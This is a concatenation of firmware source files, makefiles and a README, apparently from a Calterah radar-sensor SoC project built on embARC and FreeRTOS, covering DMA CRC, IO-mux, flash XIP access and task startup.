uint32_t dummy[6] ;
} obj_info_t; /* 32 words(4 bytes) in all */
typedef struct {
uint32_t vel_acc : 4 ; /* 0x00 */
uint32_t vel_idx : 10 ;
uint32_t rng_acc : 4 ;
uint32_t rng_idx : 10 ;
uint32_t dummy_0 : 4 ;
uint32_t noi : 20 ; /* 0x04 */
uint32_t amb_idx : 5 ;
uint32_t dummy_1 : 7 ;
} cfr_info_t;
#define NOI_AMB_REODER 5
#define NOI_AMB_OFFSET 1
#endif /* BASEBAND_ALPS_FM_REG_H_ */
<file_sep>#include <string.h>
#include "embARC_toolchain.h"
#include "FreeRTOS.h"
#include "task.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "dw_gpio.h"
#include "gpio_hal.h"
#include "spi_hal.h"
#include "crc_hal.h"
#include "cascade_config.h"
#include "cascade.h"
#include "cascade_internal.h"
#include "dma_hal.h"
void cascade_crc_dmacallback(void *params)
{
/* read crc32. */
//uint32_t crc32 = crc_output();
uint32_t crc32 = crc_init_value();
EMBARC_PRINTF("dma isr callback: 0x%x\r\n", crc32);
/* set crc_valid flag. */
cascade_crc_compute_done(crc32);
}
int32_t cascade_crc_dmacopy(uint32_t *data, uint32_t len)
{
int32_t result = E_OK;
uint32_t chn_id = 0;
dma_trans_desc_t desc = {
.transfer_type = MEM_TO_MEM,
.priority = DMA_CHN_PRIOR_MAX,
.src_desc.addr_mode = ADDRESS_INCREMENT,
.src_desc.hw_if = 0,
.src_desc.sts_upd_en = 0,
.src_desc.hs = HS_SELECT_SW,
.src_desc.sts_addr = 0,
.src_desc.burst_tran_len = BURST_LEN1,
.src_desc.addr = (uint32_t)data,
.dst_desc.addr_mode = ADDRESS_FIXED,
.dst_desc.hw_if = 0,
.dst_desc.sts_upd_en = 0,
.dst_desc.hs = HS_SELECT_SW,
.dst_desc.sts_addr = 0,
.dst_desc.burst_tran_len = BURST_LEN1,
.dst_desc.addr = 0xc10008,
.block_transfer_size = len << 2
};
do {
if ((NULL == data) || (0 == len)) {
result = E_PAR;
break;
}
hw_crc_reset(1);
hw_crc_reset(0);
result = dma_apply_channel();
if (result >= 0) {
chn_id = (uint32_t)result;
} else {
break;
}
result = dma_config_channel(chn_id, &desc, 1);
if (E_OK != result) {
result = dma_release_channel(chn_id);
break;
}
result = dma_start_channel(chn_id, cascade_crc_dmacallback);
if (E_OK != result) {
break;
}
} while (0);
if (E_OK == result) {
result = (int32_t)chn_id;
}
return result;
}
<file_sep>#ifndef EMU_H
#define EMU_H
#include "emu_reg.h"
#endif
<file_sep>CALTERAH_CAN_CLI_ROOT = $(CALTERAH_COMMON_ROOT)/can_cli
CALTERAH_CAN_CLI_CSRCDIR = $(CALTERAH_CAN_CLI_ROOT)
CALTERAH_CAN_CLI_ASMSRCDIR = $(CALTERAH_CAN_CLI_ROOT)
# find all the source files in the target directories
CALTERAH_CAN_CLI_CSRCS = $(call get_csrcs, $(CALTERAH_CAN_CLI_CSRCDIR))
CALTERAH_CAN_CLI_ASMSRCS = $(call get_asmsrcs, $(CALTERAH_CAN_CLI_ASMSRCDIR))
# get object files
CALTERAH_CAN_CLI_COBJS = $(call get_relobjs, $(CALTERAH_CAN_CLI_CSRCS))
CALTERAH_CAN_CLI_ASMOBJS = $(call get_relobjs, $(CALTERAH_CAN_CLI_ASMSRCS))
CALTERAH_CAN_CLI_OBJS = $(CALTERAH_CAN_CLI_COBJS) $(CALTERAH_CAN_CLI_ASMOBJS)
# get dependency files
CALTERAH_CAN_CLI_DEPS = $(call get_deps, $(CALTERAH_CAN_CLI_OBJS))
# genearte library
CALTERAH_CAN_CLI_LIB = $(OUT_DIR)/lib_calterah_can_cli.a
COMMON_COMPILE_PREREQUISITES += $(CALTERAH_CAN_CLI_ROOT)/can_cli.mk
# library generation rule
$(CALTERAH_CAN_CLI_LIB): $(CALTERAH_CAN_CLI_OBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(AR_OPT) $@ $(CALTERAH_CAN_CLI_OBJS)
# specific compile rules
# user can add rules to compile this library
# if not rules specified to this library, it will use default compiling rules
.SECONDEXPANSION:
$(CALTERAH_CAN_CLI_COBJS): $(OUT_DIR)/%.o : %.c $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(COMPILE_OPT) $< -o $@
.SECONDEXPANSION:
$(CALTERAH_CAN_CLI_ASMOBJS): $(OUT_DIR)/%.o : %.s $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(ASM_OPT) $< -o $@
CALTERAH_COMMON_CSRC += $(CALTERAH_CAN_CLI_CSRCS)
CALTERAH_COMMON_ASMSRCS += $(CALTERAH_CAN_CLI_ASMSRCS)
CALTERAH_COMMON_COBJS += $(CALTERAH_CAN_CLI_COBJS)
CALTERAH_COMMON_ASMOBJS += $(CALTERAH_CAN_CLI_ASMOBJS)
CALTERAH_COMMON_LIBS += $(CALTERAH_CAN_CLI_LIB)
<file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "mux.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "alps_module_list.h"
#include "alps_io_mux.h"
#include "alps_dmu.h"
/* IO-MUX. */
static io_mux_t io_mux_info[] = {
#include "pin_table.h"
};
static uint32_t old_dmu_sel = 0;
void io_mux_init(void)
{
int i = 0;
for (; i < sizeof(io_mux_info)/sizeof(io_mux_t); i++) {
raw_writel(io_mux_info[i].reg_offset + REL_REGBASE_DMU, \
io_mux_info[i].func);
}
/* select gpio usage: using for gpio */
sys_dmu_select(SYS_DMU_SEL_GPIO);
}
int8_t io_get_dmumode(void)
{
int8_t result = 0;
uint32_t m = sys_dmu_mode_get();
if (m != SYS_DMU_SEL_GPIO) {
result = -1;
}
return result;
}
void io_sel_dmumode(uint8_t m)
{
if (m == SYS_DMU_SEL_DBG) {
sys_dmu_select(SYS_DMU_SEL_DBG);
} else {
sys_dmu_select(SYS_DMU_SEL_GPIO);
}
}
/* gpio_21 ~ gpio_24 switch */
void io_mux_lvds_dump(void)
{
/* select gpio usage: using for debug. */
old_dmu_sel = sys_dmu_mode_get();
sys_dmu_select(SYS_DMU_SEL_DBG);
io_mux_spi_m0_func_sel(IO_MUX_FUNC4);
}
void io_mux_dbgbus_dump(void)
{
/* select gpio usage: using for debug. */
old_dmu_sel = sys_dmu_mode_get();
sys_dmu_select(SYS_DMU_SEL_DBG);
/* gpio_0 ~ gpio20 and gpio_valid. */
io_mux_can_clk_func_sel(IO_MUX_FUNC4);
io_mux_pwm0_func_sel(IO_MUX_FUNC4);
io_mux_pwm1_func_sel(IO_MUX_FUNC4);
io_mux_i2c_func_sel(IO_MUX_FUNC4);
io_mux_can1_func_sel(IO_MUX_FUNC4);
io_mux_uart1_func_sel(IO_MUX_FUNC4);
io_mux_spi_s1_func_sel(IO_MUX_SPI_S1_FUNC_MIX(IO_MUX_FUNC4, \
IO_MUX_FUNC4, IO_MUX_FUNC4, IO_MUX_FUNC4));
io_mux_spi_m1_func_sel(IO_MUX_FUNC4);
io_mux_spi_s0_func_sel(IO_MUX_FUNC4);
io_mux_spi_m0_func_sel(IO_MUX_FUNC4); /* gpio_21 ~ gpio_24 */
/* debug data of cfar and bfm is 20 bits*/
}
void io_mux_dbgbus_mode_stop(void)
{
/* stop gpio usage */
sys_dmu_select(old_dmu_sel);
}
void io_mux_free_run(void)
{
/* CAN1_RX and SYNC are used */
io_mux_can1_func_sel(IO_MUX_FUNC4);
io_mux_adc_sync_func_sel(IO_MUX_FUNC0);
}
void io_mux_free_run_disable()
{
/* CAN1_RX and SYNC are used */
io_mux_can1_func_sel(IO_MUX_FUNC4);
io_mux_adc_sync_func_sel(IO_MUX_FUNC4);
}
#ifdef CHIP_CASCADE
void io_mux_adc_sync(void)
{
io_mux_adc_sync_func_sel(IO_MUX_FUNC0);
}
void io_mux_adc_sync_disable(void)
{
io_mux_adc_sync_func_sel(IO_MUX_FUNC4);
}
void io_mux_casade_irq(void)
{
io_mux_can1_func_sel(IO_MUX_FUNC4);
sys_dmu_select(SYS_DMU_SEL_GPIO);
}
void io_mux_casade_irq_disable(void)
{
sys_dmu_select(SYS_DMU_SEL_DBG);
}
#endif
<file_sep>#include "embARC.h"
int fmcw_radio_cpu_300mhz_cal(void *params)
{
return 0;
}
int main(void)
{
return 0;
}
<file_sep>#include "embARC_toolchain.h"
#include "alps/alps.h"
#include "dw_i2c.h"
#include "dw_i2c_obj.h"
static dw_i2c_t i2c_m = {
.base = REL_REGBASE_I2C0,
.int_no = INT_I2C_M_IRQ
};
void *i2c_get_dev(uint32_t id)
{
static uint32_t i2c_install_flag = 0;
if (0 == i2c_install_flag) {
dw_i2c_install_ops(&i2c_m);
i2c_install_flag = 1;
}
return (void *)&i2c_m;
}
<file_sep>#ifndef FFT_WINDOW_H
#define FFT_WINDOW_H
#ifdef UNIT_TEST
#include "calterah_unit_test.h"
#else
#include "embARC_toolchain.h"
#endif
#include "calterah_limits.h"
#define WIN_COEFF_BITW 14
#define WIN_COEFF_INT 0
float gen_window(const char *wintype, int len, double param1, double param2, double param3);
uint32_t get_win_coeff(uint32_t idx);
float get_win_coeff_float(uint32_t idx);
float* get_win_buff();
#endif
<file_sep>/* ------------------------------------------
* Copyright (c) 2017, Synopsys, Inc. All rights reserved.
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1) Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* 2) Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation and/or
* other materials provided with the distribution.
* 3) Neither the name of the Synopsys, Inc., nor the names of its contributors may
* be used to endorse or promote products derived from this software without
* specific prior written permission.
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
--------------------------------------------- */
/**
* \defgroup EMBARC_APP_FREERTOS_KERNEL embARC FreeRTOS Kernel Example
* \ingroup EMBARC_APPS_TOTAL
* \ingroup EMBARC_APPS_OS_FREERTOS
* \brief embARC Example for testing FreeRTOS task switch and interrupt/exception handling
*
* \details
* ### Extra Required Tools
*
* ### Extra Required Peripherals
*
* ### Design Concept
* This example is designed to show the functionality of FreeRTOS.
*
* ### Usage Manual
* Test case for show how FreeRTOS is working by task switching and interrupt/exception processing.
* 
*
* ### Extra Comments
*
*/
/**
* \file
* \ingroup EMBARC_APP_FREERTOS_KERNEL
* \brief main source file of the freertos demo
*/
/**
* \addtogroup EMBARC_APP_FREERTOS_KERNEL
* @{
*/
#include "embARC.h"
#include "embARC_debug.h"
#include "embARC_assert.h"
#include "command.h"
#include "baseband.h"
#include "baseband_cli.h"
#include "radio_ctrl.h"
#include "radio_reg.h"
#include "sensor_config.h"
#include "sensor_config_cli.h"
#include "baseband_task.h"
#include <stdlib.h>
#ifdef USE_IO_STREAM
#include "data_stream.h"
#endif
#include "flash.h"
#include "gpio_hal.h"
#include "console.h"
#include "can_cli.h"
#include "can_signal_interface.h"
#include "common_cli.h"
#include "spi_master.h"
#ifdef CHIP_CASCADE
#include "cascade.h"
#endif
#ifdef SPIS_SERVER
#include "spis_server.h"
#endif
#define TSK_PRIOR_HI (configMAX_PRIORITIES-1)
#define TSK_PRIOR_LO (configMAX_PRIORITIES-2)
/* Task IDs */
static TaskHandle_t bb_handle = NULL;
/* Task Communication */
QueueHandle_t queue_bb_isr;
QueueHandle_t queue_cas_sync;
QueueHandle_t queue_spi_cmd;
QueueHandle_t queue_fix_1p4;
SemaphoreHandle_t mutex_frame_count;
SemaphoreHandle_t mutex_initial_flag;
/* baseband */
/**
* \brief call FreeRTOS API, create and start tasks
*/
int main(void)
{
#if ACC_BB_BOOTUP == 0
EMBARC_PRINTF("Benchmark CPU Frequency: %d Hz\r\n", get_current_cpu_freq());
#endif
vTaskSuspendAll();
common_cmd_init();
#ifndef PLAT_ENV_FPGA // flash init blocks firmware running on FPGA
if (E_OK != flash_init()) {
EMBARC_PRINTF("Error: externl flash initialzie failed!\r\n");
} else {
flash_cli_register();
}
#endif
#ifdef CHIP_CASCADE
cascade_init();
#endif
#ifdef SPIS_SERVER
spis_server_init();
#endif
queue_bb_isr = xQueueCreate(BB_ISR_QUEUE_LENGTH, sizeof(uint32_t));
queue_cas_sync = xQueueCreate(BB_ISR_QUEUE_LENGTH, sizeof(uint32_t));
queue_spi_cmd = xQueueCreate(BB_ISR_QUEUE_LENGTH, sizeof(uint32_t));
queue_fix_1p4 = xQueueCreate(BB_1P4_QUEUE_LENGTH, sizeof(uint32_t));
mutex_frame_count = xSemaphoreCreateMutex();
mutex_initial_flag = xSemaphoreCreateMutex();
/* initialization */
func_safety_init(NULL);
track_init(track_get_track_ctrl());
baseband_clock_init();
baseband_cli_commands();
sensor_config_cli_commands();
EMBARC_ASSERT(NUM_FRAME_TYPE <= MAX_FRAME_TYPE);
/* Multi-frame interleaving related configuration */
/* bb and radio configuration for all frame types*/
for (int i = 0; i < NUM_FRAME_TYPE; i++) {
#if ACC_BB_BOOTUP == 1
/* baseband pre acceleration stage */
EMBARC_PRINTF("if(bb_hw->frame_type_id == %d){\n",i);
sensor_config_t *cfg = sensor_config_get_config(i);
baseband_t *bb = baseband_get_bb(i);
if (cfg && bb)
sensor_config_attach(cfg, bb, i);
EMBARC_PRINTF("}\n\r");
#else
/* baseband normal stage or acceleration stage */
EMBARC_PRINTF("------------------------ init frame_type %d------------------------ \n", i);
sensor_config_t *cfg = sensor_config_get_config(i);
baseband_t *bb = baseband_get_bb(i);
if (cfg && bb)
sensor_config_attach(cfg, bb, i);
#endif
}
EMBARC_PRINTF("<EOF>\r\n");
freertos_cli_init();
console_init();
/* initialize CAN device */
can_cli_init();
/* register CAN cli command */
can_cli_commands();
#ifdef SYSTEM_UART_OTA
uart_ota_init();
#endif
#ifdef SYSTEM_WATCHDOG
extern void watchdog_init(void);
watchdog_init();
#endif
if (xTaskCreate(baseband_task, "baseband", 2048, (void *)0, TSK_PRIOR_HI, &bb_handle)
!= pdPASS) {
EMBARC_PRINTF("create baseband error\r\n");
return -1;
}
/* Set the interrupt threshold in the STATUS32 register to 0xf.
* It is used to enable interrupt processing.
* */
cpu_unlock_restore(0xff);
xTaskResumeAll();
vTaskSuspend(NULL);
vTaskSuspend(NULL);
return 0;
}
/** @} */
<file_sep>CALTERAH_SENSOR_CONFIG_ROOT = $(CALTERAH_COMMON_ROOT)/sensor_config
CALTERAH_SENSOR_CONFIG_CSRCDIR = $(CALTERAH_SENSOR_CONFIG_ROOT)
CALTERAH_SENSOR_CONFIG_ASMSRCDIR = $(CALTERAH_SENSOR_CONFIG_ROOT)
# find all the source files in the target directories
CALTERAH_SENSOR_CONFIG_CSRCS = $(call get_csrcs, $(CALTERAH_SENSOR_CONFIG_CSRCDIR))
CALTERAH_SENSOR_CONFIG_ASMSRCS = $(call get_asmsrcs, $(CALTERAH_SENSOR_CONFIG_ASMSRCDIR))
# get object files
CALTERAH_SENSOR_CONFIG_COBJS = $(call get_relobjs, $(CALTERAH_SENSOR_CONFIG_CSRCS))
CALTERAH_SENSOR_CONFIG_ASMOBJS = $(call get_relobjs, $(CALTERAH_SENSOR_CONFIG_ASMSRCS))
CALTERAH_SENSOR_CONFIG_OBJS = $(CALTERAH_SENSOR_CONFIG_COBJS) $(CALTERAH_SENSOR_CONFIG_ASMOBJS)
# get dependency files
CALTERAH_SENSOR_CONFIG_DEPS = $(call get_deps, $(CALTERAH_SENSOR_CONFIG_OBJS))
# genearte library
CALTERAH_SENSOR_CONFIG_LIB = $(OUT_DIR)/lib_calterah_sensor_config.a
COMMON_COMPILE_PREREQUISITES += $(CALTERAH_SENSOR_CONFIG_ROOT)/sensor_config.mk
SENSOR_CONFIG_COMPILE_PREREQUISITES = $(wildcard $(CALTERAH_SENSOR_CONFIG_ROOT)/*.hxx)
# library generation rule
$(CALTERAH_SENSOR_CONFIG_LIB): $(CALTERAH_SENSOR_CONFIG_OBJS)
$(TRACE_ARCHIVE)
$(Q)$(AR) $(AR_OPT) $@ $(CALTERAH_SENSOR_CONFIG_OBJS)
# specific compile rules
# user can add rules to compile this library
# if not rules specified to this library, it will use default compiling rules
.SECONDEXPANSION:
$(CALTERAH_SENSOR_CONFIG_COBJS): $(OUT_DIR)/%.o : %.c $$(COMMON_COMPILE_PREREQUISITES) $(SENSOR_CONFIG_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(COMPILE_OPT) $< -o $@
.SECONDEXPANSION:
$(CALTERAH_SENSOR_CONFIG_ASMOBJS): $(OUT_DIR)/%.o : %.s $$(COMMON_COMPILE_PREREQUISITES)
$(TRACE_COMPILE)
$(Q)$(CC) -c $(ASM_OPT) $< -o $@
CALTERAH_COMMON_CSRC += $(CALTERAH_SENSOR_CONFIG_CSRCS)
CALTERAH_COMMON_ASMSRCS += $(CALTERAH_SENSOR_CONFIG_ASMSRCS)
CALTERAH_COMMON_COBJS += $(CALTERAH_SENSOR_CONFIG_COBJS)
CALTERAH_COMMON_ASMOBJS += $(CALTERAH_SENSOR_CONFIG_ASMOBJS)
CALTERAH_COMMON_LIBS += $(CALTERAH_SENSOR_CONFIG_LIB)
<file_sep># Radar Sensor Firmware
Firmware of Calterah SoC radar sensor. It currently support chips are listed below
* AlpsA
## Build System
Build system is organized with GNU Make. It supports both GNU and MetaWare toolchains:
* GNU toolchain please download release version from [here](https://github.com/foss-for-synopsys-dwc-arc-processors/toolchain/releases)
* MetaWare is provided by Synopsys Inc.
We **do not** provide IDE support, here is the reason:
1. IDE is difficult to maintain large projects especially when building process is highly
configurable. Our firmware supports multiple chips with multiple versions, which may used on
mulitlple boards with various applications, like BSD, FCW, ACC and so on.
2. IDE usually hide details such as building options. For example, when you mitigate from one
version of IDE to another, there is no garantee you will get same compiling
results. Therefore, maintaining a project file for particular IDE is not meaningfule.
3. Key value of an IDE has two folds: fancy editor and debugger.
* There are tons of editors with fancy GUI and fancy cross-ref functions
* Once the image is built, you can choose your favorite debugger. With GNU toolchain, it is
easy to setup a debug project with *eclipse*; with MetaWare, GUI based debug session can be
invoked through *make* command.
### How to build
Build code is simple:
1. Go to source code root
2. Type ``make APPL=sensor``
After it finishes, you will see a new directory create at your root directory, E.g. ``obj_alpsA_fpga_v1``, where
1. alps: chip name
2. A: chip version
3. fpga: board name
4. v1: board revision
Inside the directory, you will find image in *.elf together with all temporarily generated files. To
get more help, please run ``make APPL=sensor help``
To invoke the debugger
make APPL=sensor TOOLCHAIN=gnu OPENOCD_SCRIPT_ROOT=path/inside/your/gnu/toolchain gui # GDB console based
make APPL=sensor TOOLCHAIN=mw gui # MW GUI based
### How build system is organized
TODO
## Source Code Overview
Under source code root, there three directories:
1. ``embarc_osp``: source code pull from
[embarc_osp](https://github.com/foss-for-synopsys-dwc-arc-processors/embarc_osp), where
synopsys hosts ARC/IOT related source code. We did some modification to fit into our
development structure, which mainly on makefiles. For future development, please keep its
source code modifications minimal.
2. ``calterah``: Calterah's own source code resides in this directory. That means you will work most here
3. ``doc``: Documentation, which is currently empty
### embarc_osp
Our building system generally reuse ``embarc_osp``'s. Changes are made in following aspects:
1. Separate configure related to ``chip`` from ``board``. This allows us to support multiple
chip/revision in a systematic way.
2. Some drivers related to on-chip peripheral-related IPs are included under each chip. Currently
UART driver is brought up.
### calterah
Inside, it has four sub-directories:
1. ``baremetal``
2. ``freertos``
3. ``common``
4. ``include``
Our plan is to support both non-OS/OS based applications. Therefore, ``baremetal`` and ``freertos``
holds OS and APP specific codes, while ``common`` and ``include`` are code shared by them. ``README.md`` are provided for each directory to have more details. Please follow it carefully.
### doc
Documentation directory is currently a place-holder. We do not have much to say yet!
<file_sep>#ifndef _VENDOR_H_
#define _VENDOR_H_
#define CMD_RD_JEDEC_WC (8)
#define FLASH_DEV_SAMPLE_DELAY (0)
#define FLASH_DEV_DUMMY_CYCLE (4)
#define FLASH_DEV_MODE_CYCLE (2)
/* (ins, addr, delay(ms), val0-val3(lowest byte, others as valid flag)). */
#define FLASH_DEV_CMD0 DEF_FLASH_CMD(CMD_WRITE_ENABLE, 0, 0x32, 0, 0, 0, 0)
#define FLASH_DEV_CMD1 DEF_FLASH_CMD(CMD_WRITE_STS1_CFG1, 0, 0x32, 0xff42, 0, 0, 0)
#define FLASH_DEV_CMD2 DEF_FLASH_CMD_INV()
#define FLASH_DEV_CMD3 DEF_FLASH_CMD_INV()
#endif
<file_sep>REF_DESIGN_ROOT = $(BOARDS_ROOT)/ref_design
SUPPORTED_BOARD_VERS = 1
## Select Chip Version
BD_VER ?= 1
override BD_VER := $(strip $(BD_VER))
## Set Valid Board
VALID_BD_VER = $(call check_item_exist, $(BD_VER), $(SUPPORTED_BOARD_VERS))
## Try Check CHIP is valid
ifeq ($(VALID_BD_VER), )
$(info BOARD_VER - $(SUPPORTED_BOARD_VERS) are supported)
$(error BOARD_VER $(BD_VER) is not supported, please check it!)
endif
# link file
ifeq ($(VALID_TOOLCHAIN), mw)
LINKER_SCRIPT_FILE ?= $(REF_DESIGN_ROOT)/linker_template_mw.ld
else
LINKER_SCRIPT_FILE ?= $(REF_DESIGN_ROOT)/linker_template_gnu.ld
endif
#alps.cfg is for RDP board
OPENOCD_CFG_FILE = $(OPENOCD_SCRIPT_ROOT)/board/alps.cfg
#snps_em_sk_v2.2.cfg is for validation board using GNU
#OPENOCD_CFG_FILE = $(OPENOCD_SCRIPT_ROOT)/board/snps_em_sk_v2.2.cfg
# UART setting
USE_UART0 ?= 1
CHIP_CONSOLE_UART_BAUD ?= 3000000
#UART0_IO_POS ?= 0
USE_UART1 ?= 0
#UART1_IO_POS ?= 1
#SPI setting
USE_SPI0 ?= 0
USE_SPI1 ?= 0
USE_SPI2 ?= 0
#qspi setting
USE_QSPI ?= 1
#CAN setting
USE_CAN0 ?= 0
USE_CAN1 ?= 0
USE_CAN_FD ?= 0
# CAN TX work mode
# 0: using polling mode
# 1: using interrupt mode
CAN_TX_INT_MODE ?= 0
ifeq ($(IO_STREAM_SKIP),)
#IO STREAM setting
USE_IO_STREAM ?= 0
USE_IO_STREAM_PRINTF ?= 0
else
USE_IO_STREAM ?= 0
USE_IO_STREAM_PRINTF ?= 0
endif
USE_SW_TRACE ?= 1
SW_TRACE_BASE ?= 0xa00000
SW_TRACE_LEN ?= 0x8000
#AHB DMA
USE_AHB_DMA ?= 1
BOARD_DEFINES += -DUSE_DW_AHB_DMA=$(USE_AHB_DMA)
BOARD_DEFINES += -DUSE_DW_UART_0=$(USE_UART0) -DUSE_DW_UART_1=$(USE_UART1) -DCHIP_CONSOLE_UART_BAUD=$(CHIP_CONSOLE_UART_BAUD)
BOARD_DEFINES += -DUART0_IO_POS=$(UART0_IO_POS) -DUART1_IO_POS=$(UART1_IO_POS)
BOARD_DEFINES += -DUSE_DW_SPI_0=$(USE_SPI0) -DUSE_DW_SPI_1=$(USE_SPI1) -DUSE_DW_SPI_2=$(USE_SPI2)
BOARD_DEFINES += -DUSE_DW_QSPI=$(USE_QSPI) -DFLASH_XIP_EN=$(FLASH_XIP)
BOARD_DEFINES += -DUSE_CAN_0=$(USE_CAN0) -DUSE_CAN_1=$(USE_CAN1) -DUSE_CAN_FD=$(USE_CAN_FD)
BOARD_DEFINES += -DUSE_IO_STREAM=$(USE_IO_STREAM) -DIO_STREAM_PRINTF=$(USE_IO_STREAM_PRINTF)
BOARD_DEFINES += -DCAN_TX_INT_MODE=$(CAN_TX_INT_MODE)
#BOARD_DEFINES += -DUSE_XIP=$(USE_XIP)
ifneq ($(CHIP_CASCADE),)
BOARD_DEFINES += -DCHIP_CASCADE
endif
BOARD_DEFINES += -DPLL_CLOCK_OPEN_EN=$(PLL_CLOCK_OPEN)
BOARD_DEFINES += -DCONSOLE_PRINTF
BOARD_DEFINES += -DSYSTEM_$(SYSTEM_BOOT_STAGE)_STAGES_BOOT
BOARD_DEFINES += -D__FIRMWARE__
ifneq ($(USE_SW_TRACE),)
BOARD_DEFINES += -DUSE_SW_TRACE -DSW_TRACE_BASE=$(SW_TRACE_BASE) -DSW_TRACE_LEN=$(SW_TRACE_LEN)
endif
ifneq ($(UART_OTA),)
BOARD_DEFINES += -DSYSTEM_UART_OTA
endif
ifneq ($(SYSTEM_WATCHDOG),)
BOARD_DEFINES += -DSYSTEM_WATCHDOG
endif
ifneq ($(SPIS_SERVER_ON),)
BOARD_DEFINES += -DSPIS_SERVER
endif
ifneq ($(FLASH_STATIC_PARAM), )
BOARD_DEFINES += -DSTATIC_EXT_FLASH_PARAM
endif
<file_sep>#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "xip_hal.h"
#include "xip.h"
#include "dw_ssi.h"
#include "config.h"
#include "device.h"
#include "instruction.h"
#include "flash.h"
#include "flash_header.h"
#include "dw_ssi_reg.h"
#include "alps/alps.h"
#include "vendor.h"
#include "uart_hal.h"
#ifdef OS_FREERTOS
#include "FreeRTOS.h"
#include "task.h"
#endif
static xip_t *flash_xip_ptr = NULL;
int32_t flash_xip_init(void)
{
int32_t result = E_OK;
do {
flash_xip_ptr = (xip_t *)xip_get_dev();
if ((NULL == flash_xip_ptr)) {
result = E_NOEXS;
break;
}
/* if none security, call it. */
if (0 == (raw_readl(OTP_MMAP_SEC_BASE) & (1 << 0))) {
aes_cfg_t aes_cfg = {
.path_sel = AES_IN_DATA_PATH,
.data_path_bypass = 0,
.tweak_mode = AES_TWEAK_BY_ADDR_BLOCKSZ_MASK,
.tweak_mask= 0,
.seed = 0
};
result = flash_xip_aes_config(flash_xip_ptr, &aes_cfg);
if (E_OK != result) {
break;
}
}
} while(0);
return result;
}
static int32_t _flash_xip_read(uint32_t addr, void *buf, uint32_t len, uint8_t flag)
{
int32_t result = E_OK;
uint32_t flash_mmap_pos = 0, cnt = 0;
uint8_t *pbuf_byte = (uint8_t *)buf;
uint32_t *pbuf_word = (uint32_t *)buf;
uint32_t src = 0;
do {
if ((addr < CONFIG_XIP_DATA_OFFSET) \
|| ((addr > (CONFIG_XIP_DATA_OFFSET + FLASH_BOOT_BASE)) \
&& (addr < (CONFIG_XIP_DATA_OFFSET + FLASH_ANGLE_CALIBRATION_INFO_BASE))) \
|| (addr > (CONFIG_XIP_DATA_OFFSET + REL_XIP_MMAP_LEN))) {
/* invalid address. */
break;
}
flash_mmap_pos = XIP_MEM_BASE_ADDR + (addr - CONFIG_XIP_DATA_OFFSET);
if (flash_mmap_pos + len > REL_XIP_MMAP_MAX) {
/* overflow! */
break;
}
if ((buf == NULL) || (flag < 0)) {
result = E_PAR;
}
if (!flag)
len = (len / sizeof(uint32_t)) + 1;
while(len--) {
if (flag) {
*pbuf_word++ = raw_readl(flash_mmap_pos + cnt);
cnt += 4;
} else {
src = raw_readl(flash_mmap_pos + cnt);
if (len == 0) {
for (uint32_t i = 0; i < (len / sizeof(uint32_t)); i++) {
*pbuf_byte++ = (uint8_t)(src >> (i << 3));
}
} else {
for (uint32_t i = 0; i < sizeof(uint32_t); i++) {
*pbuf_byte++ = (uint8_t)(src >> (i << 3));
}
}
cnt += 4;
}
}
} while(0);
return result;
}
int32_t flash_xip_readb(uint32_t addr, uint8_t *buf, uint32_t len)
{
return _flash_xip_read(addr, (void *)buf, len, 0);
}
int32_t flash_xip_read(uint32_t addr, uint32_t *buf, uint32_t len)
{
return _flash_xip_read(addr, (void *)buf, len, 1);
}
int32_t flash_xip_program(uint32_t addr, uint32_t *buf, uint32_t len)
{
int32_t result = E_OK;
uint32_t cnt = 0;
uint32_t flash_mmap_pos = 0;
if ((flash_xip_ptr) && (addr >= CONFIG_XIP_DATA_OFFSET) && \
(addr - CONFIG_XIP_DATA_OFFSET < REL_XIP_MMAP_LEN) && \
(addr + len <= REL_XIP_MMAP_MAX)) {
uint32_t single_cnt = 1 << (4 + CONFIG_XIP_WR_BUF_LEN);
flash_mmap_pos = addr - CONFIG_XIP_DATA_OFFSET;
while (len) {
if (len < single_cnt) {
single_cnt = len;
if (single_cnt & 0x3) {
single_cnt = ((single_cnt >> 2) + 1) << 2;
}
}
while (flash_xip_program_in_progress(flash_xip_ptr) ||\
flash_xip_erase_in_progress(flash_xip_ptr)) {
#ifdef OS_FREERTOS
vTaskDelay(2);
#endif
}
for (cnt = 0; cnt < single_cnt; cnt += 4) {
raw_writel(flash_mmap_pos + cnt, *buf++);
}
flash_xip_program_en(flash_xip_ptr);
len -= single_cnt;
flash_mmap_pos += single_cnt;
}
} else {
result = E_PAR;
}
return result;
}
int32_t flash_xip_program_done(void)
{
int32_t result = E_OK;
if ((NULL == flash_xip_ptr)) {
result = E_SYS;
} else {
result = flash_xip_program_in_progress(flash_xip_ptr);
if (0 == result) {
result = 1;
} else {
result = 0;
}
}
return result;
}
